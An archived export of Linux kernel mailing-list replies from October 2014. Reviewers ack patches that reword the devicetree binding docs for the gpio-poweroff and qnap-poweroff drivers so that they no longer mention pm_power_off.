Xref: news.gmane.org gmane.linux.acpi.devel:71312 gmane.linux.kernel:1802640 gmane.linux.drivers.devicetree:93124 gmane.linux.kernel.virtualization.lguest:1493 gmane.linux.ports.alpha:2478 gmane.linux.kernel.efi:4762 gmane.linux.ports.hexagon:825 gmane.linux.ports.ppc64.devel:105931 gmane.linux.ports.tegra:19508 gmane.linux.kernel.openipmi:2484 gmane.linux.uml.devel:14698 gmane.linux.ports.arm.kernel:362429 gmane.linux.ports.ia64:24514 gmane.linux.ports.m68k:6258 gmane.linux.kernel.metag:345 gmane.linux.ports.mips.general:44198 gmane.linux.ports.parisc:6120 gmane.linux.power-management.general:50659 gmane.linux.ports.sh.devel:39825
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/71312>

On Tue, Oct 07, 2014 at 06:28:09AM +0100, Guenter Roeck wrote:
> Replace reference to pm_power_off (which is an implementation detail)
> and replace it with a more generic description of the driver's functionality.
> 
> Cc: Rob Herring <robh+dt@kernel.org>
> Cc: Pawel Moll <pawel.moll@arm.com>
> Cc: Mark Rutland <mark.rutland@arm.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt b/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
> index af25e77..1e2260a 100644
> --- a/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
> +++ b/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
> @@ -3,8 +3,8 @@
>  QNAP NAS devices have a microcontroller controlling the main power
>  supply. This microcontroller is connected to UART1 of the Kirkwood and
>  Orion5x SoCs. Sending the character 'A', at 19200 baud, tells the
> -microcontroller to turn the power off. This driver adds a handler to
> -pm_power_off which is called to turn the power off.
> +microcontroller to turn the power off. This driver installs a handler
> +to power off the system.

I'd remove the last sentence -- the driver is also independent of the
HW, and the description of how the power off works at the HW level is
sufficient.

With that:

Acked-by: Mark Rutland <mark.rutland@arm.com>

Thanks,
Mark.
--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Rutland <mark.rutland@arm.com>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 06/44] gpio-poweroff: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 7 Oct 2014 12:03:32 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <20141007110332.GF24725@leverpostej>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-7-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412679833 16986 80.91.229.3 (7 Oct 2014 11:03:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 11:03:53 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"adi-buildroot-devel@lists.sourceforge.net" 
	<adi-buildroot-devel@lists.sourceforge.net>,
	"devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
	"devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
	"lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
	"linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
	"linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
	"linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"lin
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-acpi-owner@vger.kernel.org Tue Oct 07 13:03:44 2014
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1XbSYR-0003kz-Hs
	for glad-acpi-devel@plane.gmane.org; Tue, 07 Oct 2014 13:03:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753469AbaJGLDm (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Tue, 7 Oct 2014 07:03:42 -0400
Original-Received: from cam-admin0.cambridge.arm.com ([217.140.96.50]:53324 "EHLO
	cam-admin0.cambridge.arm.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753332AbaJGLDk (ORCPT
	<rfc822;linux-acpi@vger.kernel.org>); Tue, 7 Oct 2014 07:03:40 -0400
Original-Received: from leverpostej (leverpostej.cambridge.arm.com [10.1.205.151])
	by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id s97B3Zwo019260;
	Tue, 7 Oct 2014 12:03:35 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-7-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:71313 gmane.linux.kernel:1802641 gmane.linux.drivers.devicetree:93125 gmane.linux.kernel.virtualization.lguest:1494 gmane.linux.ports.alpha:2479 gmane.linux.kernel.efi:4763 gmane.linux.ports.hexagon:826 gmane.linux.ports.ppc64.devel:105932 gmane.linux.ports.tegra:19509 gmane.linux.kernel.openipmi:2485 gmane.linux.uml.devel:14699 gmane.linux.ports.arm.kernel:362430 gmane.linux.ports.ia64:24515 gmane.linux.ports.m68k:6259 gmane.linux.kernel.metag:346 gmane.linux.ports.mips.general:44199 gmane.linux.ports.parisc:6121 gmane.linux.power-management.general:50660 gmane.linux.ports.sh.devel:39826
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/71313>

On Tue, Oct 07, 2014 at 06:28:08AM +0100, Guenter Roeck wrote:
> pm_power_off is an implementation detail. Replace it with a more generic
> description of the driver's functionality.
> 
> Cc: Rob Herring <robh+dt@kernel.org>
> Cc: Pawel Moll <pawel.moll@arm.com>
> Cc: Mark Rutland <mark.rutland@arm.com>

Acked-by: Mark Rutland <mark.rutland@arm.com>

> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  Documentation/devicetree/bindings/gpio/gpio-poweroff.txt | 10 +++++-----
>  1 file changed, 5 insertions(+), 5 deletions(-)
> 
> diff --git a/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt b/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt
> index d4eab92..c95a1a6 100644
> --- a/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt
> +++ b/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt
> @@ -2,12 +2,12 @@ Driver a GPIO line that can be used to turn the power off.
>  
>  The driver supports both level triggered and edge triggered power off.
>  At driver load time, the driver will request the given gpio line and
> -install a pm_power_off handler. If the optional properties 'input' is
> -not found, the GPIO line will be driven in the inactive
> +install a handler to power off the system. If the optional properties
> +'input' is not found, the GPIO line will be driven in the inactive
>  state. Otherwise its configured as an input.
>  
> -When the pm_power_off is called, the gpio is configured as an output,
> -and drive active, so triggering a level triggered power off
> +When the the poweroff handler is called, the gpio is configured as an
> +output, and drive active, so triggering a level triggered power off
>  condition. This will also cause an inactive->active edge condition, so
>  triggering positive edge triggered power off. After a delay of 100ms,
>  the GPIO is set to inactive, thus causing an active->inactive edge,
> @@ -24,7 +24,7 @@ Required properties:
>  
>  Optional properties:
>  - input : Initially configure the GPIO line as an input. Only reconfigure
> -  it to an output when the pm_power_off function is called. If this optional
> +  it to an output when the poweroff handler is called. If this optional
>    property is not specified, the GPIO is initialized as an output in its
>    inactive state.
>  
> -- 
> 1.9.1
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Weinberger <richard@nod.at>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Tue, 07 Oct 2014 15:58:47 +0200
Lines: 7
Approved: news@gmane.org
Message-ID: <5433F197.8040801@nod.at>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412690385 26774 80.91.229.3 (7 Oct 2014 13:59:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 13:59:45 +0000 (UTC)
Cc: Jonas Bonn <jonas@southpole.se>, linux-mips@linux-mips.org,
 linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
 Steven Miao <realmz6@gmail.com>, linux-xtensa@linux-xtensa.org,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will.deacon@arm.com>,
 David Howells <dhowells@redhat.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, Ralf Baechle <ralf@linux-mips.org>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, Thomas Gleixner <tglx@linutronix.de>,
 Lennox Wu <lennox.wu@gmail.com>, Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 devel@driverdev.osuosl.org, linux-s390@vger.kernel.org,
 Jesper Nilsson <jesper.nilsson@axis.com>, lguest@lists.ozlabs.org,
 Russell King <linux@arm.linux.org.uk>, linux-c6x-dev@linux-c6x.org,
 Len Brown <len.brown@intel.com
To: Guenter Roeck <linux@roeck-us.net>, linux-kernel@vger.kernel.org
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Oct 07 15:59:30 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from fraxinus.osuosl.org ([140.211.166.137])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XbVIW-00066p-R4
	for glddd-devel@m.gmane.org; Tue, 07 Oct 2014 15:59:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 60209A2233;
	Tue,  7 Oct 2014 13:59:27 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OibX-atb1DwN; Tue,  7 Oct 2014 13:59:26 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 8089EA2237;
	Tue,  7 Oct 2014 13:59:26 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from whitealder.osuosl.org (whitealder.osuosl.org [140.211.166.138])
 by ash.osuosl.org (Postfix) with ESMTP id 066951C2808
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 13:59:25 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by whitealder.osuosl.org (Postfix) with ESMTP id F2B3392416
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 13:59:24 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id nrClmHAzfPzy for <devel@linuxdriverproject.org>;
 Tue,  7 Oct 2014 13:59:23 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from radon.swed.at (a.ns.miles-group.at [95.130.255.143])
 by whitealder.osuosl.org (Postfix) with ESMTPS id 0DE66917BA
 for <devel@driverdev.osuosl.org>; Tue,  7 Oct 2014 13:59:22 +0000 (UTC)
Original-Received: (qmail 1919 invoked by uid 89); 7 Oct 2014 13:59:32 -0000
Original-Received: by simscan 1.3.1 ppid: 1907, pid: 1917, t: 0.0545s
 scanners: attach: 1.3.1
Original-Received: from unknown (HELO ?10.1.1.152?) (richard@nod.at@80.110.11.170)
 by radon.swed.at with ESMTPA; 7 Oct 2014 13:59:32 -0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
 rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58561 gmane.linux.kernel:1802757 gmane.linux.ports.mips.general:44204 gmane.linux.kernel.efi:4764 gmane.linux.ports.ia64:24516 gmane.linux.kernel.virtualization.lguest:1495 gmane.linux.ports.hexagon:827 gmane.linux.ports.sh.devel:39843 gmane.linux.acpi.devel:71316 gmane.linux.drivers.devicetree:93178 gmane.linux.uml.devel:14700 gmane.linux.power-management.general:50666 gmane.linux.ports.tegra:19510 gmane.linux.kernel.openipmi:2486 gmane.linux.kernel.metag:347 gmane.linux.ports.arm.kernel:362503 gmane.linux.ports.parisc:6122 gmane.linux.ports.alpha:2480 gmane.linux.ports.ppc64.devel:105941
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58561>

Am 07.10.2014 07:28, schrieb Guenter Roeck:
>  arch/um/kernel/reboot.c            |  2 --

Acked-by: Richard Weinberger <richard@nod.at>

Thanks,
//richard

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Lunn <andrew-g2DYL2Zd6BY@public.gmane.org>
Newsgroups: gmane.linux.kernel.efi,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 06/44] gpio-poweroff: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 7 Oct 2014 17:50:44 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <20141007155044.GA19005@lunn.ch>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-7-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412697100 21499 80.91.229.3 (7 Oct 2014 15:51:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 15:51:40 +0000 (UTC)
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Mark Rutland <mark.rutland-5wv7dgnIgG8@public.gmane.org>,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Pawel Moll <pawel.moll-5wv7dgnIgG8@public.gmane.org>,
	xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	Rob Her
To: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Original-X-From: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 17:51:32 2014
Return-path: <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbX2x-0005TB-GB
	for glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 17:51:31 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754312AbaJGPvb (ORCPT <rfc822;glke-linux-efi@m.gmane.org>);
	Tue, 7 Oct 2014 11:51:31 -0400
Original-Received: from vps0.lunn.ch ([178.209.37.122]:35806 "EHLO vps0.lunn.ch"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754308AbaJGPv3 (ORCPT <rfc822;linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Tue, 7 Oct 2014 11:51:29 -0400
Original-Received: from lunn by vps0.lunn.ch with local (Exim 4.80)
	(envelope-from <andrew-g2DYL2Zd6BY@public.gmane.org>)
	id 1XbX2C-0004yG-7I; Tue, 07 Oct 2014 17:50:44 +0200
Content-Disposition: inline
In-Reply-To: <1412659726-29957-7-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-efi.vger.kernel.org>
X-Mailing-List: linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.efi:4769 gmane.linux.kernel:1802876 gmane.linux.ports.mips.general:44207 gmane.linux.ports.ia64:24517 gmane.linux.kernel.virtualization.lguest:1496 gmane.linux.ports.hexagon:828 gmane.linux.ports.sh.devel:39845 gmane.linux.acpi.devel:71319 gmane.linux.drivers.devicetree:93189 gmane.linux.uml.devel:14701 gmane.linux.power-management.general:50671 gmane.linux.ports.tegra:19512 gmane.linux.kernel.openipmi:2487 gmane.linux.kernel.metag:348 gmane.linux.ports.arm.kernel:362528 gmane.linux.ports.parisc:6123 gmane.linux.ports.alpha:2481 gmane.linux.ports.ppc64.devel:105944
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.efi/4769>

On Mon, Oct 06, 2014 at 10:28:08PM -0700, Guenter Roeck wrote:
> pm_power_off is an implementation detail. Replace it with a more generic
> description of the driver's functionality.
> 
> Cc: Rob Herring <robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
> Cc: Pawel Moll <pawel.moll-5wv7dgnIgG8@public.gmane.org>
> Cc: Mark Rutland <mark.rutland-5wv7dgnIgG8@public.gmane.org>
> Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>

Acked-by: Andrew Lunn <andrew-g2DYL2Zd6BY@public.gmane.org>

Thanks
	Andrew
> ---
>  Documentation/devicetree/bindings/gpio/gpio-poweroff.txt | 10 +++++-----
>  1 file changed, 5 insertions(+), 5 deletions(-)
> 
> diff --git a/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt b/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt
> index d4eab92..c95a1a6 100644
> --- a/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt
> +++ b/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt
> @@ -2,12 +2,12 @@ Driver a GPIO line that can be used to turn the power off.
>  
>  The driver supports both level triggered and edge triggered power off.
>  At driver load time, the driver will request the given gpio line and
> -install a pm_power_off handler. If the optional properties 'input' is
> -not found, the GPIO line will be driven in the inactive
> +install a handler to power off the system. If the optional properties
> +'input' is not found, the GPIO line will be driven in the inactive
>  state. Otherwise its configured as an input.
>  
> -When the pm_power_off is called, the gpio is configured as an output,
> -and drive active, so triggering a level triggered power off
> +When the the poweroff handler is called, the gpio is configured as an
> +output, and drive active, so triggering a level triggered power off
>  condition. This will also cause an inactive->active edge condition, so
>  triggering positive edge triggered power off. After a delay of 100ms,
>  the GPIO is set to inactive, thus causing an active->inactive edge,
> @@ -24,7 +24,7 @@ Required properties:
>  
>  Optional properties:
>  - input : Initially configure the GPIO line as an input. Only reconfigure
> -  it to an output when the pm_power_off function is called. If this optional
> +  it to an output when the poweroff handler is called. If this optional
>    property is not specified, the GPIO is initialized as an output in its
>    inactive state.
>  
> -- 
> 1.9.1
> 
> 
> _______________________________________________
> linux-arm-kernel mailing list
> linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Lunn <andrew@lunn.ch>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 07/44] qnap-poweroff: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 7 Oct 2014 17:51:24 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20141007155124.GB19005@lunn.ch>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-8-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412697126 21806 80.91.229.3 (7 Oct 2014 15:52:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 15:52:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-efi@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	Mark Rutland <mark.rutland@arm.com>,
	devel@driverdev.osuosl.org, linux-s390@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-c6x-dev@linux-c6x.org,
	linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
	linux-acpi@vger.kernel.org, Pawel Moll <pawel.moll@arm.com>,
	xen-devel@lists.xenproject.org, devicetree@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-pm@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-tegra@vger.kernel.org,
	openipmi-developer@lists.sourceforge.net,
	linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org, linux-cris-kernel@axis.com,
	Rob Her
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-hexagon-owner@vger.kernel.org Tue Oct 07 17:51:59 2014
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1XbX3O-0005md-R9
	for glphk-linux-hexagon@plane.gmane.org; Tue, 07 Oct 2014 17:51:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754417AbaJGPv6 (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Tue, 7 Oct 2014 11:51:58 -0400
Original-Received: from vps0.lunn.ch ([178.209.37.122]:35828 "EHLO vps0.lunn.ch"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754415AbaJGPv5 (ORCPT <rfc822;linux-hexagon@vger.kernel.org>);
	Tue, 7 Oct 2014 11:51:57 -0400
Original-Received: from lunn by vps0.lunn.ch with local (Exim 4.80)
	(envelope-from <andrew@lunn.ch>)
	id 1XbX2q-0004zD-S8; Tue, 07 Oct 2014 17:51:24 +0200
Content-Disposition: inline
In-Reply-To: <1412659726-29957-8-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
